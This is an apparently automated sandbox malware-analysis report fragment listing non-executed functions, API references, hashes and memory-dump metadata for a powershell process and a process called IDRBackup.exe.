Opcode Fuzzy Hash: b6be51b228b8a6b5d1a3d7f2d756fe55e869e15bc761ce97906266160bc18a0f
Instruction Fuzzy Hash: 9DE026B4E0420E9F8F48DFB995421BEFBF5AB49200F10856E9819E3340E63556518FA5

Non-executed Functions

Function 07A21B00 Relevance: 7.7, Strings: 6, Instructions: 200COMMON

Download Yara Rule

Strings

$^q, xrefs: 07A21BB9
$^q, xrefs: 07A21B8F
$^q, xrefs: 07A21B73
$^q, xrefs: 07A21B9B
$^q, xrefs: 07A21B57
$^q, xrefs: 07A21BAD

Memory Dump Source

Source File: 00000001.00000002.1875308357.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: e202564515be8e2ba28924e83c8835721e1e98549de81ce516303837819b5dad
Instruction ID: cadc3b61c6cbc35d821895932de48f5c83ca2d79cb25a469a6b0bf087b5ee91a
Opcode Fuzzy Hash: e202564515be8e2ba28924e83c8835721e1e98549de81ce516303837819b5dad
Instruction Fuzzy Hash: 2451667670026E8FC7249F6ED84056ABBF5AFC6611B24847FD465CF352DA32C80AC361

Function 07A21AE0 Relevance: 5.1, Strings: 4, Instructions: 81COMMON

Download Yara Rule

Strings

$^q, xrefs: 07A21B8F
$^q, xrefs: 07A21B73
$^q, xrefs: 07A21B57
$^q, xrefs: 07A21BAD

Memory Dump Source

Source File: 00000001.00000002.1875308357.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 03e272fdbd4fd0bffb07352724fd8188f0f28266635afab6ccb5acf947e18d6d
Instruction ID: 379c0dd81963995ac9d204a3372384845f6a63a1b1edf046847db68ea7848fb5
Opcode Fuzzy Hash: 03e272fdbd4fd0bffb07352724fd8188f0f28266635afab6ccb5acf947e18d6d
Instruction Fuzzy Hash: 5721F3F5E043AF8FCB258F2CC540666BBB1AFC6111F1840ABD4648B152E7368546DB52

Function 07A21000 Relevance: 5.0, Strings: 4, Instructions: 48COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07A21077
4'^q, xrefs: 07A2106B
$^q, xrefs: 07A21056
$^q, xrefs: 07A2104A

Memory Dump Source

Source File: 00000001.00000002.1875308357.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: a2801c6e8ba7fa8abcfc8d20ad73576994863335025d5b596507d598e81b3286
Instruction ID: 6e35fb3b94f03d7061d2f4894829760cb7536c4df36b992e7da2cd296393b8e4
Opcode Fuzzy Hash: a2801c6e8ba7fa8abcfc8d20ad73576994863335025d5b596507d598e81b3286
Instruction Fuzzy Hash: B401A225B4D3D99FC32A072D58205666FB66BD395073A44ABC051CF35BCD2A8C4F83A3

Analysis Process: IDRBackup.exePID: 480, Parent PID: 6620COMMON

Non-executed Functions

Function 5701AC3C Relevance: 21.4, APIs: 14, Instructions: 421filememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 5700189C: @System@@FillChar$qqrpvib.RTL120.BPL(5701AC73), ref: 5700189E

@System@@GetMem$qqri.RTL120.BPL ref: 5701ACCF
@System@@GetMem$qqri.RTL120.BPL(00000000,5701B0DC), ref: 5701AD54
@System@@GetMem$qqri.RTL120.BPL(00000000,5701B0DC), ref: 5701AD67
@System@@GetMem$qqri.RTL120.BPL(00000000,5701B0DC), ref: 5701AD7A
VirtualAlloc.KERNEL32(00000000,00004000,00001000,00000040,00000000,5701B0DC), ref: 5701ADA1

Part of subcall function 5701971C: @System@@_llmod$qqrv.RTL120.BPL(00100000,00000000), ref: 57019752
Part of subcall function 5701971C: WriteFile.KERNEL32(00000000,?,00000000,?,00000000,00100000,00000000), ref: 57019777
Part of subcall function 5701971C: @System@@RaiseExcept$qqrv.RTL120.BPL(00000000,?,00000000,?,00000000,00100000,00000000), ref: 57019794

UnmapViewOfFile.KERNEL32(00000000), ref: 5701B104
UnmapViewOfFile.KERNEL32(00000000), ref: 5701B119
VirtualFree.KERNEL32(?,00000000,00008000), ref: 5701B12C
@System@@FreeMem$qqrpv.RTL120.BPL(?,00000000,00008000), ref: 5701B137
@System@@FreeMem$qqrpv.RTL120.BPL(?,00000000,00008000), ref: 5701B142
@System@@FreeMem$qqrpv.RTL120.BPL(?,00000000,00008000), ref: 5701B14D
@System@@FreeMem$qqrpv.RTL120.BPL(?,00000000,00008000), ref: 5701B155
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,00008000), ref: 5701B16B
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,00008000), ref: 5701B181

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$System@@$Free$Mem$qqri.Mem$qqrpv.Virtual$File$UnmapView$AllocChar$qqrpvib.Except$qqrv.FillRaiseSystem@@_llmod$qqrv.Write
String ID:
API String ID: 1004484772-0
Opcode ID: bd736e57654849e0552eea1898e9dc24d3caecbdb619f9aae0cc55b8040ea999
Instruction ID: 5f503e043ba963ec3a0afdb19132a128aa8d3f6c28e5c194aab773a93707acdb
Opcode Fuzzy Hash: bd736e57654849e0552eea1898e9dc24d3caecbdb619f9aae0cc55b8040ea999
Instruction Fuzzy Hash: 67128E74A002498FDB44CF99DA84ADDB7F1BF8C310F2581A5E408AB356D736AE45CFA1

Function 57020704 Relevance: 12.1, APIs: 8, Instructions: 69fileCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 57020748
CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 57020761
@System@@UStrFromPWChar$qqrr20System@UnicodeStringpb.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 57020779
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 57020789
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 57020791
CreateFileA.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 57020797
@System@@UStrClr$qqrpv.RTL120.BPL(570207C3,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 570207AE
@System@@LStrClr$qqrpv.RTL120.BPL(570207C3,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 570207B6

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$AnsiClr$qqrpv.CreateFileFromStringSystem@System@%Unicode$Char$qqrr20Char$qqrx27Str$qqrr27Stringpb.Stringus.T$us$i0$%.T$us$i0$%x20Version
String ID:
API String ID: 4014983442-0
Opcode ID: d6d0edb86f9a0c200896d31152780131d4817bad94061a05d33f86a47d9781d8
Instruction ID: b3fa308486de61b7f317fa185b8468634a1c24f0bf681f9e1a5c794e54d4901b
Opcode Fuzzy Hash: d6d0edb86f9a0c200896d31152780131d4817bad94061a05d33f86a47d9781d8
Instruction Fuzzy Hash: C411E235A42388BFF310E7E0DC81F9F77ECDB45750FA00062B505AB2C2D27469019A95

Function 57015384 Relevance: 11.5, APIs: 7, Instructions: 1009memoryCOMMON

Download Yara Rule

APIs

@System@AllocMem$qqrui.RTL120.BPL ref: 570153C6
@System@AllocMem$qqrui.RTL120.BPL ref: 570158E2
@System@AllocMem$qqrui.RTL120.BPL ref: 5701590A

Part of subcall function 5701411C: InitializeCriticalSection.KERNEL32(5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 57014152
Part of subcall function 5701411C: EnterCriticalSection.KERNEL32(5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 5701415C
Part of subcall function 5701411C: @System@@DynArrayHigh$qqrv.RTL120.BPL(00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 57014174
Part of subcall function 5701411C: @System@@DynArrayAsg$qqrv.RTL120.BPL(00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570141C4
Part of subcall function 5701411C: @System@@TryFinallyExit$qqrv.RTL120.BPL(00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570141C9
Part of subcall function 5701411C: @System@@FinalizeArray$qqrpvt1ui.RTL120.BPL(57014505,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570144F8

Part of subcall function 5701411C: @System@@DynArraySetLength$qqrv.RTL120.BPL(?,00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570141F7
Part of subcall function 5701411C: @System@@DynArraySetLength$qqrv.RTL120.BPL(?,?,00000000), ref: 57014222
Part of subcall function 5701411C: @System@@DynArraySetLength$qqrv.RTL120.BPL(?,?,00000000), ref: 5701423C
Part of subcall function 5701411C: @System@@DynArraySetLength$qqrv.RTL120.BPL(?,?,?,00000000), ref: 57014282

@System@@FreeMem$qqrpv.RTL120.BPL ref: 57016021
@System@@FreeMem$qqrpv.RTL120.BPL ref: 57016029
@System@@FreeMem$qqrpv.RTL120.BPL ref: 57016031
@System@@FinalizeArray$qqrpvt1ui.RTL120.BPL(5701605E), ref: 57016051

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$System@@$Array$Length$qqrv.$AllocFreeMem$qqrpv.Mem$qqrui.System@$Array$qqrpvt1ui.CriticalFinalizeSection$Asg$qqrv.EnterExit$qqrv.FinallyHigh$qqrv.Initialize
String ID:
API String ID: 1706249733-0
Opcode ID: 97828c12c7536a743c6165515ffd2497626f150542f0f1fbf16c37a7fc16431d
Instruction ID: 2629b8daedccfd10c7bf3ba97060395baa3fbfe8f05e93557980d78829fe2bd0
Opcode Fuzzy Hash: 97828c12c7536a743c6165515ffd2497626f150542f0f1fbf16c37a7fc16431d
Instruction Fuzzy Hash: 3AA2E574A04299CFCB54CFA9C9946DDBBF0BF09314F1081AAE898EB352DB349985CF51

Function 57016068 Relevance: 11.5, APIs: 7, Instructions: 965memoryCOMMON

Download Yara Rule

APIs

@System@AllocMem$qqrui.RTL120.BPL ref: 570160A9
@System@AllocMem$qqrui.RTL120.BPL ref: 570165AD
@System@AllocMem$qqrui.RTL120.BPL ref: 570165D5

Part of subcall function 5701411C: InitializeCriticalSection.KERNEL32(5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 57014152
Part of subcall function 5701411C: EnterCriticalSection.KERNEL32(5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 5701415C
Part of subcall function 5701411C: @System@@DynArrayHigh$qqrv.RTL120.BPL(00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 57014174
Part of subcall function 5701411C: @System@@DynArrayAsg$qqrv.RTL120.BPL(00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570141C4
Part of subcall function 5701411C: @System@@TryFinallyExit$qqrv.RTL120.BPL(00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570141C9
Part of subcall function 5701411C: @System@@FinalizeArray$qqrpvt1ui.RTL120.BPL(57014505,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570144F8

Part of subcall function 5701411C: @System@@DynArraySetLength$qqrv.RTL120.BPL(?,00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570141F7
Part of subcall function 5701411C: @System@@DynArraySetLength$qqrv.RTL120.BPL(?,?,00000000), ref: 57014222
Part of subcall function 5701411C: @System@@DynArraySetLength$qqrv.RTL120.BPL(?,?,00000000), ref: 5701423C
Part of subcall function 5701411C: @System@@DynArraySetLength$qqrv.RTL120.BPL(?,?,?,00000000), ref: 57014282

@System@@FreeMem$qqrpv.RTL120.BPL ref: 57016C13
@System@@FreeMem$qqrpv.RTL120.BPL ref: 57016C1B
@System@@FreeMem$qqrpv.RTL120.BPL ref: 57016C23
@System@@FinalizeArray$qqrpvt1ui.RTL120.BPL(57016C50), ref: 57016C43

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$System@@$Array$Length$qqrv.$AllocFreeMem$qqrpv.Mem$qqrui.System@$Array$qqrpvt1ui.CriticalFinalizeSection$Asg$qqrv.EnterExit$qqrv.FinallyHigh$qqrv.Initialize
String ID:
API String ID: 1706249733-0
Opcode ID: cf03f89adcd109f7dcf82b6cf4ded2085c726716882244f1c7dd3ce079a15ea4
Instruction ID: e3ce9b26b9536d355845d3369c0573fe77a0c1aea316b0b826f3d37472493aaa
Opcode Fuzzy Hash: cf03f89adcd109f7dcf82b6cf4ded2085c726716882244f1c7dd3ce079a15ea4
Instruction Fuzzy Hash: 0FA2B274A002598FCB54CFA8C984ADDBBF1BF09315F1481AAE858EB352DB34E985CF51

Function 5701F7A4 Relevance: 9.1, APIs: 6, Instructions: 124COMMON

Download Yara Rule

APIs

@System@@LStrSetLength$qqrv.RTL120.BPL ref: 5701F7DB
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 5701F878
@System@@LStrSetLength$qqrv.RTL120.BPL ref: 5701F885
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 5701F899
@System@@LStrSetLength$qqrv.RTL120.BPL ref: 5701F8A8
@System@@LStrClr$qqrpv.RTL120.BPL ref: 5701F8E9

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Length$qqrv.$AnsiLen$qqrx27StringSystem@%T$us$i0$%.$Clr$qqrpv.
String ID:
API String ID: 333671728-0
Opcode ID: d71ce3388695ad51074bf8334b4ae62a92b70cb6b30791e8d7fb24c918596911
Instruction ID: 183d5a6ddf68ba7eab5d327f809e0f3c852dfcbf161b0efe3744729163528fc0
Opcode Fuzzy Hash: d71ce3388695ad51074bf8334b4ae62a92b70cb6b30791e8d7fb24c918596911
Instruction Fuzzy Hash: AE31D0B2A1A2D19FD314AE7C8C4009EBAD0EB55250F01862FF4A4EB7E7D634E9059392

Function 57014514 Relevance: 5.1, APIs: 3, Instructions: 605memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 5701411C: InitializeCriticalSection.KERNEL32(5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 57014152
Part of subcall function 5701411C: EnterCriticalSection.KERNEL32(5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 5701415C
Part of subcall function 5701411C: @System@@DynArrayHigh$qqrv.RTL120.BPL(00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 57014174
Part of subcall function 5701411C: @System@@DynArrayAsg$qqrv.RTL120.BPL(00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570141C4
Part of subcall function 5701411C: @System@@TryFinallyExit$qqrv.RTL120.BPL(00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570141C9
Part of subcall function 5701411C: @System@@FinalizeArray$qqrpvt1ui.RTL120.BPL(57014505,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570144F8

Part of subcall function 5701411C: @System@@DynArraySetLength$qqrv.RTL120.BPL(?,00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570141F7
Part of subcall function 5701411C: @System@@DynArraySetLength$qqrv.RTL120.BPL(?,?,00000000), ref: 57014222
Part of subcall function 5701411C: @System@@DynArraySetLength$qqrv.RTL120.BPL(?,?,00000000), ref: 5701423C
Part of subcall function 5701411C: @System@@DynArraySetLength$qqrv.RTL120.BPL(?,?,?,00000000), ref: 57014282

@System@AllocMem$qqrui.RTL120.BPL ref: 57014598
@System@@FreeMem$qqrpv.RTL120.BPL ref: 57014C16
@System@@FinalizeArray$qqrpvt1ui.RTL120.BPL(57014C43), ref: 57014C36

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$System@@$Array$Length$qqrv.$Array$qqrpvt1ui.CriticalFinalizeSection$AllocAsg$qqrv.EnterExit$qqrv.FinallyFreeHigh$qqrv.InitializeMem$qqrpv.Mem$qqrui.System@
String ID:
API String ID: 174616800-0
Opcode ID: 4eb6da39740cf2b26f8209ce354413528fc9bec8c960e5b93271b798d1a5f645
Instruction ID: ac2feb4104f452944d8f0eb7bddfdb6c76f37bc2fe87b16f70fc4265e91ed2da
Opcode Fuzzy Hash: 4eb6da39740cf2b26f8209ce354413528fc9bec8c960e5b93271b798d1a5f645
Instruction Fuzzy Hash: 9842C675E0125ACFDB80CFA8C984A9DBBF0FF08314F114166E854EB266D7789E85CB91

Function 57014C4C Relevance: 5.1, APIs: 3, Instructions: 605memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 5701411C: InitializeCriticalSection.KERNEL32(5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 57014152
Part of subcall function 5701411C: EnterCriticalSection.KERNEL32(5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 5701415C
Part of subcall function 5701411C: @System@@DynArrayHigh$qqrv.RTL120.BPL(00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 57014174
Part of subcall function 5701411C: @System@@DynArrayAsg$qqrv.RTL120.BPL(00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570141C4
Part of subcall function 5701411C: @System@@TryFinallyExit$qqrv.RTL120.BPL(00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570141C9
Part of subcall function 5701411C: @System@@FinalizeArray$qqrpvt1ui.RTL120.BPL(57014505,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570144F8

Part of subcall function 5701411C: @System@@DynArraySetLength$qqrv.RTL120.BPL(?,00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570141F7
Part of subcall function 5701411C: @System@@DynArraySetLength$qqrv.RTL120.BPL(?,?,00000000), ref: 57014222
Part of subcall function 5701411C: @System@@DynArraySetLength$qqrv.RTL120.BPL(?,?,00000000), ref: 5701423C
Part of subcall function 5701411C: @System@@DynArraySetLength$qqrv.RTL120.BPL(?,?,?,00000000), ref: 57014282

@System@AllocMem$qqrui.RTL120.BPL ref: 57014CD0
@System@@FreeMem$qqrpv.RTL120.BPL ref: 5701534E
@System@@FinalizeArray$qqrpvt1ui.RTL120.BPL(5701537B), ref: 5701536E

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$System@@$Array$Length$qqrv.$Array$qqrpvt1ui.CriticalFinalizeSection$AllocAsg$qqrv.EnterExit$qqrv.FinallyFreeHigh$qqrv.InitializeMem$qqrpv.Mem$qqrui.System@
String ID:
API String ID: 174616800-0
Opcode ID: 12ede9de83884cdfff3e097d3dc636bac652e2ca4c64291153ba69aa2ef9bf7a
Instruction ID: 768172a34298f40b7daba24679c00db5d0a92fb2b34a2da963cb5d892fcbf0a5
Opcode Fuzzy Hash: 12ede9de83884cdfff3e097d3dc636bac652e2ca4c64291153ba69aa2ef9bf7a
Instruction Fuzzy Hash: E942C275E0125ACFDB40CFA9C98469EBBF0FF08314F118166E814EB356D778AA85CB91

Function 5701CA20 Relevance: 3.4, APIs: 2, Instructions: 422COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7138d9267a73bb4edab2a75a4b034b878f5ed94242958cb860112ad78d6c8dd9
Instruction ID: 499a8e2c51bf5fb59390e1dcb98381bf6f097fe0ddaba6f29f9972d9f63b8b2f
Opcode Fuzzy Hash: 7138d9267a73bb4edab2a75a4b034b878f5ed94242958cb860112ad78d6c8dd9
Instruction Fuzzy Hash: 5602C175E0528ADFCB01CFA8C880ADEBBF1FB09320F5445A6E454E7352D734AA81CB65

Function 5701856C Relevance: .4, Instructions: 438COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
